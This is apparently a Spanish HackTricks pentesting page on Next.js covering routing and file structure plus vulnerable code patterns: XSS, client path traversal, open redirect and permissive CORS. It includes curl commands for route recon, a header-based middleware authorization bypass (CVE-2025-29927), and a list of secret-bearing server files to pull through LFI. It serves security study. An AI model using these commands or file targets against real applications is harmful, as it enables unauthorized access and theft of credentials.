NextJS

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

General Architecture of a Next.js Application

Typical File Structure

Un proyecto estándar de Next.js sigue una estructura específica de archivos y directorios que facilita características como enrutamiento, API endpoints y la gestión de recursos estáticos. Aquí tienes una disposición típica:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Core Directories and Files

  • public/: Aloja recursos estáticos como imágenes, fuentes y otros archivos. Los archivos aquí son accesibles en la ruta raíz (/).
  • app/: Directorio central para las páginas, layouts, componentes y rutas API de tu aplicación. Adopta el paradigma App Router, permitiendo características avanzadas de enrutamiento y la segregación de componentes server-client.
  • app/layout.tsx: Define el layout raíz de tu aplicación, envolviendo todas las páginas y proporcionando elementos de UI consistentes como headers, footers y barras de navegación.
  • app/page.tsx: Sirve como punto de entrada para la ruta raíz /, renderiza la página principal.
  • app/[route]/page.tsx: Maneja rutas estáticas y dinámicas. Cada carpeta dentro de app/ representa un segmento de ruta, y page.tsx dentro de esas carpetas corresponde al componente de la ruta.
  • app/api/: Contiene rutas API, permitiéndote crear funciones serverless que manejan solicitudes HTTP. Estas rutas reemplazan el tradicional directorio pages/api.
  • app/components/: Aloja componentes reutilizables de React que pueden usarse en distintas páginas y layouts.
  • app/styles/: Contiene archivos CSS globales y CSS Modules para estilos a nivel de componente.
  • app/utils/: Incluye funciones utilitarias, módulos auxiliares y otra lógica no relacionada con la UI que puede compartirse en la aplicación.
  • .env.local: Almacena variables de entorno específicas del entorno de desarrollo local. Estas variables no se incluyen en el control de versiones.
  • next.config.js: Personaliza el comportamiento de Next.js, incluyendo configuraciones de webpack, variables de entorno y ajustes de seguridad.
  • tsconfig.json: Configura ajustes de TypeScript para el proyecto, habilitando la verificación de tipos y otras características de TypeScript.
  • package.json: Gestiona dependencias del proyecto, scripts y metadatos.
  • README.md: Provee documentación e información sobre el proyecto, incluyendo instrucciones de configuración, pautas de uso y otros detalles relevantes.
  • yarn.lock / package-lock.json: Bloquean las dependencias del proyecto a versiones específicas, asegurando instalaciones consistentes entre diferentes entornos.

Lado cliente en Next.js

Enrutamiento basado en archivos en el directorio app

El directorio app es la piedra angular del enrutamiento en las versiones más recientes de Next.js. Aprovecha el sistema de archivos para definir rutas, haciendo la gestión de rutas intuitiva y escalable.

Manejo de la ruta raíz /

Estructura de archivos:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Archivos clave:

  • app/page.tsx: Gestiona las solicitudes a la ruta raíz /.
  • app/layout.tsx: Define el layout de la aplicación, envolviendo todas las páginas.

Implementación:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

Explicación:

  • Definición de la ruta: El archivo page.tsx ubicado directamente bajo el directorio app corresponde a la ruta /.
  • Renderizado: Este componente renderiza el contenido de la página principal.
  • Integración del layout: El componente HomePage está envuelto por layout.tsx, que puede incluir encabezados, pies de página y otros elementos comunes.
Manejo de otras rutas estáticas

Ejemplo: ruta /about

Estructura de archivos:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementación:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

Explicación:

  • Definición de la ruta: El archivo page.tsx dentro de la carpeta about corresponde a la ruta /about.
  • Renderizado: Este componente renderiza el contenido de la página about.
Rutas dinámicas

Las rutas dinámicas permiten manejar rutas con segmentos variables, permitiendo que las aplicaciones muestren contenido en función de parámetros como IDs, slugs, etc.

Ejemplo: ruta /posts/[id]

Estructura de archivos:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementación:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

Explicación:

  • Segmento dinámico: [id] denota un segmento dinámico en la ruta, capturando el parámetro id de la URL.
  • Acceso a parámetros: El objeto params contiene los parámetros dinámicos, accesibles dentro del componente.
  • Coincidencia de rutas: Cualquier ruta que coincida con /posts/*, como /posts/1, /posts/abc, etc., será manejada por este componente.
Rutas anidadas

Next.js admite el enrutamiento anidado, permitiendo estructuras de rutas jerárquicas que reflejan la disposición de directorios.

Ejemplo: ruta /dashboard/settings/profile

Estructura de archivos:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementación:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

Explicación:

  • Anidamiento profundo: El archivo page.tsx dentro de dashboard/settings/profile/ corresponde a la ruta /dashboard/settings/profile.
  • Reflejo de la jerarquía: La estructura de directorios refleja la ruta URL, mejorando la mantenibilidad y la claridad.
Rutas catch-all

Las rutas catch-all manejan múltiples segmentos anidados o rutas desconocidas, proporcionando flexibilidad en el manejo de rutas.

Ejemplo: ruta /*

Estructura de archivos:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Implementación:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Explicación:

  • Catch-All Segment: [...slug] captura todos los segmentos de ruta restantes como un array.
  • Uso: Útil para manejar escenarios de enrutamiento dinámico como rutas generadas por usuarios, categorías anidadas, etc.
  • Coincidencia de rutas: Rutas como /anything/here, /foo/bar/baz, etc., son manejadas por este componente.

Vulnerabilidades potenciales del lado del cliente

While Next.js provides a secure foundation, improper coding practices can introduce vulnerabilities. Key client-side vulnerabilities include:

Cross-Site Scripting (XSS)

XSS attacks occur when malicious scripts are injected into trusted websites. Attackers can execute scripts in users’ browsers, stealing data or performing actions on behalf of the user.

Ejemplo de código vulnerable:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

Por qué es vulnerable: Usar dangerouslySetInnerHTML con entradas no confiables permite que atacantes inyecten scripts maliciosos.

Client-Side Template Injection

Ocurre cuando las entradas de usuario son manejadas incorrectamente en las plantillas, permitiendo que atacantes inyecten y ejecuten plantillas o expresiones.

Ejemplo de código vulnerable:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Por qué es vulnerable: Si template o data incluyen contenido malicioso, puede provocar la ejecución de código no deseado.

Client Path Traversal

Es una vulnerabilidad que permite a los atacantes manipular rutas del lado del cliente para realizar acciones no deseadas, como Cross-Site Request Forgery (CSRF). A diferencia de server-side path traversal, que apunta al sistema de archivos del servidor, CSPT se centra en explotar mecanismos del lado del cliente para redirigir solicitudes API legítimas a endpoints maliciosos.

Ejemplo de código vulnerable:

Una aplicación Next.js permite a los usuarios subir y descargar archivos. La funcionalidad de descarga se implementa en el lado del cliente, donde los usuarios pueden especificar la ruta del archivo a descargar.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Escenario de ataque

  1. Attacker’s Objective: Realizar un ataque CSRF para eliminar un archivo crítico (p. ej., admin/config.json) manipulando el filePath.
  2. Explotando CSPT:
  • Malicious Input: El atacante construye una URL con un filePath manipulado como ../deleteFile/config.json.
  • Resulting API Call: El client-side hace una petición a /api/files/../deleteFile/config.json.
  • Server’s Handling: Si el servidor no valida el filePath, procesa la petición, pudiendo eliminar o exponer archivos sensibles.
  1. Executing CSRF:
  • Crafted Link: El atacante envía a la víctima un enlace o incrusta un script malicioso que dispara la solicitud de descarga con el filePath manipulado.
  • Outcome: La víctima ejecuta la acción sin saberlo, llevando a acceso o eliminación no autorizada de archivos.

Por qué es vulnerable

  • Lack of Input Validation: El client-side permite entradas arbitrarias en filePath, habilitando path traversal.
  • Trusting Client Inputs: El server-side API confía y procesa el filePath sin sanitización.
  • Potential API Actions: Si el endpoint de la API realiza acciones que cambian el estado (p. ej., delete, modify files), puede explotarse vía CSPT.

Recon: static export route discovery via _buildManifest

Cuando nextExport/autoExport están activos (static export), Next.js expone el buildId en el HTML y sirve un build manifest en /_next/static/<buildId>/_buildManifest.js. El array sortedPages y el route→chunk mapping allí enumeran cada página prerendered sin brute force.

  • Extrae el buildId de la respuesta raíz (a menudo impreso al final) o de las <script> tags que cargan /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • Usa las rutas descubiertas (por ejemplo /docs, /docs/content/examples, /signin) para guiar el auth testing y el descubrimiento de endpoints.

Lado del servidor en Next.js

Renderizado del lado del servidor (SSR)

Las páginas se renderizan en el servidor en cada solicitud, asegurando que el usuario reciba HTML completamente renderizado. En este caso deberías crear tu propio servidor personalizado para procesar las solicitudes.

Casos de uso:

  • Contenido dinámico que cambia con frecuencia.
  • Optimización SEO, ya que los motores de búsqueda pueden rastrear la página completamente renderizada.

Implementación:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Generación de Sitios Estáticos (SSG)

Las páginas se pre-renderizan en tiempo de build, resultando en tiempos de carga más rápidos y reducción de la carga del servidor.

Casos de uso:

  • Contenido que no cambia con frecuencia.
  • Blogs, documentación, páginas de marketing.

Implementación:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Funciones serverless (API Routes)

Next.js permite la creación de endpoints de API como funciones serverless. Estas funciones se ejecutan bajo demanda sin necesidad de un servidor dedicado.

Casos de uso:

  • Manejo de envíos de formularios.
  • Interacción con bases de datos.
  • Procesamiento de datos o integración con APIs de terceros.

Implementación:

Con la introducción del directorio app en Next.js 13, el enrutamiento y el manejo de API se han vuelto más flexibles y potentes. Este enfoque moderno se alinea estrechamente con el sistema de enrutamiento basado en archivos pero introduce capacidades mejoradas, incluyendo soporte para componentes del servidor y del cliente.

Manejador básico de rutas

Estructura de archivos:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementación:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Explicación:

  • Ubicación: Las rutas API se colocan bajo el directorio app/api/.
  • Nomenclatura de archivos: Cada endpoint de la API reside en su propia carpeta que contiene un archivo route.js o route.ts.
  • Funciones exportadas: En lugar de una exportación por defecto única, se exportan funciones específicas por método HTTP (p. ej., GET, POST).
  • Manejo de respuestas: Usa el constructor Response para devolver respuestas, lo que permite mayor control sobre las cabeceras y los códigos de estado.

Cómo manejar otras rutas y métodos:

Manejo de métodos HTTP específicos

Next.js 13+ permite definir manejadores para métodos HTTP específicos dentro del mismo archivo route.js o route.ts, lo que facilita un código más claro y organizado.

Ejemplo:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Explicación:

  • Multiple Exports: Cada método HTTP (GET, PUT, DELETE) tiene su propia función exportada.
  • Parameters: El segundo argumento proporciona acceso a los parámetros de la ruta a través de params.
  • Enhanced Responses: Mayor control sobre los objetos de respuesta, permitiendo gestionar con precisión encabezados y códigos de estado.
Rutas catch-all y anidadas

Next.js 13+ soporta características avanzadas de enrutamiento como rutas catch-all y rutas API anidadas, lo que permite estructuras de API más dinámicas y escalables.

Ejemplo de ruta catch-all:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

Explicación:

  • Sintaxis: [...] denota un segmento catch-all que captura todas las rutas anidadas.
  • Uso: Útil para APIs que necesitan manejar profundidades de ruta variables o segmentos dinámicos.

Ejemplo de rutas anidadas:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

Explicación:

  • Anidamiento profundo: Permite estructuras de API jerárquicas, reflejando las relaciones entre recursos.
  • Acceso a parámetros: Accede fácilmente a múltiples parámetros de ruta a través del objeto params.
Manejo de rutas API en Next.js 12 y anteriores

Rutas API en el directorio pages (Next.js 12 y anteriores)

Antes de que Next.js 13 introdujera el directorio app y las capacidades de enrutamiento mejoradas, las rutas API se definían principalmente dentro del directorio pages. Este enfoque sigue siendo ampliamente usado y compatible en Next.js 12 y versiones anteriores.

Ruta API básica

Estructura de archivos:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

Implementación:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

Explicación:

  • Ubicación: Las rutas API se encuentran bajo el directorio pages/api/.
  • Export: Usa export default para definir la función manejadora.
  • Firma de la función: El manejador recibe los objetos req (solicitud HTTP) y res (respuesta HTTP).
  • Enrutamiento: El nombre del archivo (hello.js) se mapea al endpoint /api/hello.

Rutas API dinámicas

Estructura de archivos:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

Implementación:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Explicación:

  • Segmentos dinámicos: Los corchetes ([id].js) indican segmentos de ruta dinámicos.
  • Acceso a parámetros: Usa req.query.id para acceder al parámetro dinámico.
  • Manejo de métodos: Utiliza lógica condicional para manejar diferentes métodos HTTP (GET, PUT, DELETE, etc.).

Manejo de distintos métodos HTTP

Aunque el ejemplo básico de API route maneja todos los métodos HTTP dentro de una sola función, puedes estructurar tu código para manejar cada método de forma explícita para mayor claridad y mantenibilidad.

Ejemplo:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Mejores prácticas:

  • Separación de responsabilidades: Separa claramente la lógica para los distintos métodos HTTP.
  • Consistencia de respuestas: Asegura estructuras de respuesta consistentes para facilitar el manejo del lado del cliente.
  • Manejo de errores: Maneja de forma adecuada métodos no soportados y errores inesperados.

Configuración de CORS

Controla qué orígenes pueden acceder a tus rutas de API, mitigando vulnerabilidades de Cross-Origin Resource Sharing (CORS).

Ejemplo de mala configuración:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Ten en cuenta que CORS también puede configurarse en todas las rutas de la API dentro del archivo middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problema:

  • Access-Control-Allow-Origin: '*': Permite que cualquier sitio web acceda a la API, potencialmente permitiendo que sitios maliciosos interactúen con tu API sin restricciones.
  • Permiso amplio de métodos: Permitir todos los métodos puede permitir a atacantes realizar acciones no deseadas.

Cómo lo explotan los atacantes:

Los atacantes pueden crear sitios web maliciosos que hagan peticiones a tu API, potencialmente abusando de funcionalidades como la obtención de datos, la manipulación de datos o el desencadenamiento de acciones no deseadas en nombre de usuarios autenticados.

CORS - Misconfigurations & Bypass

Exposición de código del servidor en el lado del cliente

Puede ser fácil usar código utilizado por el servidor también en código expuesto y usado por el lado del cliente; la mejor manera de asegurar que un archivo de código nunca se exponga en el lado del cliente es usando este import al principio del archivo:

import "server-only"

Archivos clave y sus funciones

middleware.ts / middleware.js

Ubicación: Raíz del proyecto o dentro de src/.

Propósito: Ejecuta código en la función serverless del lado del servidor antes de que se procese una solicitud, permitiendo tareas como autenticación, redirecciones o modificar respuestas.

Flujo de ejecución:

  1. Solicitud entrante: El middleware intercepta la solicitud.
  2. Procesamiento: Realiza operaciones basadas en la solicitud (p. ej., verificar la autenticación).
  3. Modificación de la respuesta: Puede alterar la respuesta o pasar el control al siguiente manejador.

Ejemplos de uso:

  • Redirigir usuarios no autenticados.
  • Agregar cabeceras personalizadas.
  • Registrar solicitudes.

Configuración de ejemplo:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Si la autorización se aplica en middleware, las versiones afectadas de Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) pueden ser eludidas inyectando el header x-middleware-subrequest. El framework omitirá la recursión del middleware y devolverá la página protegida.

  • El comportamiento por defecto suele ser una redirección 307 a una ruta de inicio de sesión como /api/auth/signin.
  • Envía un valor largo en x-middleware-subrequest (repite middleware para alcanzar MAX_RECURSION_DEPTH) para cambiar la respuesta a 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • Debido a que las páginas autenticadas cargan muchos subrecursos, agrega el header a cada solicitud (p. ej., Burp Match/Replace con una cadena de coincidencia vacía) para evitar que los recursos sean redirigidos.

next.config.js

Ubicación: Raíz del proyecto.

Propósito: Configura el comportamiento de Next.js, habilitando o deshabilitando características, personalizando las configuraciones de webpack, estableciendo variables de entorno y configurando varias funciones de seguridad.

Principales configuraciones de seguridad:

Encabezados de seguridad

Los encabezados de seguridad mejoran la seguridad de tu aplicación al indicar a los navegadores cómo manejar el contenido. Ayudan a mitigar varios ataques como Cross-Site Scripting (XSS), Clickjacking y MIME type sniffing:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

Ejemplos:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Configuración de optimización de imágenes

Next.js optimiza las imágenes para el rendimiento, pero las configuraciones incorrectas pueden conducir a vulnerabilidades de seguridad, como permitir que fuentes no confiables inyecten contenido malicioso.

Ejemplo de configuración incorrecta:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

Problema:

  • '*': Permite que se carguen imágenes desde cualquier fuente externa, incluidos dominios no confiables o maliciosos. Los atacantes pueden alojar imágenes que contengan payloads maliciosos o contenido que engañe a los usuarios.
  • Otro problema puede ser permitir un dominio donde cualquiera puede subir una imagen (como raw.githubusercontent.com)

Cómo lo abusan los atacantes:

Al inyectar imágenes desde fuentes maliciosas, los atacantes pueden realizar ataques de phishing, mostrar información engañosa o explotar vulnerabilidades en bibliotecas de renderizado de imágenes.

Exposición de variables de entorno

Gestiona la información sensible como API keys y credenciales de base de datos de forma segura sin exponerla al cliente.

a. Exposición de variables sensibles

Ejemplo de mala configuración:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

Problema:

  • SECRET_API_KEY: Sin el prefijo NEXT_PUBLIC_, Next.js no expone las variables al cliente. Sin embargo, si se antepone por error (p. ej., NEXT_PUBLIC_SECRET_API_KEY), pasa a ser accesible desde el lado del cliente.

Cómo lo abusan los atacantes:

Si variables sensibles se exponen al cliente, los atacantes pueden recuperarlas inspeccionando el código del lado del cliente o las solicitudes de red, obteniendo acceso no autorizado a APIs, bases de datos u otros servicios.

Redirecciones

Gestiona las redirecciones y reescrituras de URL dentro de tu aplicación, asegurando que los usuarios sean dirigidos adecuadamente sin introducir vulnerabilidades de open redirect.

a. Open Redirect Vulnerability

Ejemplo de mala configuración:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problema:

  • Destino dinámico: Permite a los usuarios especificar cualquier URL, habilitando open redirect attacks.
  • Confiar en la entrada del usuario: Los redireccionamientos a URLs proporcionadas por usuarios sin validación pueden conducir a phishing, malware distribution, or credential theft.

Cómo lo abusan los atacantes:

Los atacantes pueden crear URLs que parecen originarse en tu dominio pero redirigen a los usuarios a sitios maliciosos. Por ejemplo:

https://yourdomain.com/redirect?url=https://malicious-site.com

Los usuarios que confían en el dominio original podrían navegar sin saberlo a sitios web maliciosos.

Configuración de Webpack

Personalice las configuraciones de Webpack para su aplicación Next.js, lo que puede introducir inadvertidamente vulnerabilidades de seguridad si no se maneja con precaución.

a. Exposición de módulos sensibles

Ejemplo de mala configuración:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Problema:

  • Exposición de rutas sensibles: El aliasing de directorios sensibles y permitir el acceso desde el cliente puede leak información confidencial.
  • Agrupación de secretos: Si archivos sensibles se incluyen en el bundle para el cliente, su contenido se vuelve accesible a través de source maps o inspeccionando el código del lado del cliente.

Cómo lo abusan los atacantes:

Los atacantes pueden acceder o reconstruir la estructura de directorios de la aplicación, potencialmente encontrando y explotando archivos o datos sensibles.

pages/_app.js y pages/_document.js

pages/_app.js

Propósito: Sobrescribe el componente App por defecto, permitiendo estado global, estilos y componentes de layout.

Casos de uso:

  • Inyectar CSS global.
  • Agregar wrappers de layout.
  • Integrar librerías de gestión de estado.

Ejemplo:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Propósito: Anula el Document predeterminado, permitiendo la personalización de las etiquetas HTML y Body.

Casos de uso:

  • Modificar las etiquetas <html> o <body>.
  • Agregar etiquetas meta o scripts personalizados.
  • Integrar fuentes de terceros.

Ejemplo:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Servidor personalizado (Opcional)

Propósito: Mientras Next.js incluye un servidor integrado, puedes crear un servidor personalizado para casos de uso avanzados como enrutamiento personalizado o integrar con servicios backend existentes.

Nota: El uso de un servidor personalizado puede limitar las opciones de despliegue, especialmente en plataformas como Vercel que optimizan para el servidor integrado de Next.js.

Ejemplo:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Consideraciones adicionales de arquitectura y seguridad

Variables de entorno y configuración

Propósito: Gestionar información sensible y configuraciones fuera del código fuente.

Buenas prácticas:

  • Usar archivos .env: Guarda variables como API keys en .env.local (excluido del control de versiones).
  • Acceder a las variables de forma segura: Usa process.env.VARIABLE_NAME para acceder a las variables de entorno.
  • Nunca expongas secretos en el cliente: Asegúrate de que las variables sensibles se usen únicamente del lado del servidor.

Ejemplo:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Nota: Para restringir las variables solo al lado del servidor, omítelas del objeto env o prefíjelas con NEXT_PUBLIC_ para exponerlas al cliente.

Artefactos del servidor útiles para apuntar mediante endpoints LFI/descarga

Si encuentras un path traversal o una API de descarga en una aplicación Next.js, apunta a artefactos compilados que leak secretos del lado del servidor y la lógica de autenticación:

  • .env / .env.local for session secrets and provider credentials.
  • .next/routes-manifest.json and .next/build-manifest.json para una lista completa de rutas.
  • .next/server/pages/api/auth/[...nextauth].js para recuperar la configuración compilada de NextAuth (a menudo contiene contraseñas de fallback cuando los valores de process.env no están definidos).
  • next.config.js / next.config.mjs para revisar rewrites, redirects y el enrutamiento de middleware.

Autenticación y Autorización

Enfoque:

  • Autenticación basada en sesiones: Usa cookies para manejar sesiones de usuario.
  • Autenticación basada en tokens: Implementa JWTs para autenticación sin estado.
  • Proveedores de terceros: Integra con proveedores OAuth (p. ej., Google, GitHub) usando librerías como next-auth.

Prácticas de seguridad:

  • Cookies seguras: Establece los atributos HttpOnly, Secure y SameSite.
  • Hashing de contraseñas: Siempre hashea las contraseñas antes de almacenarlas.
  • Validación de entradas: Prevén ataques de inyección validando y saneando las entradas.

Ejemplo:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
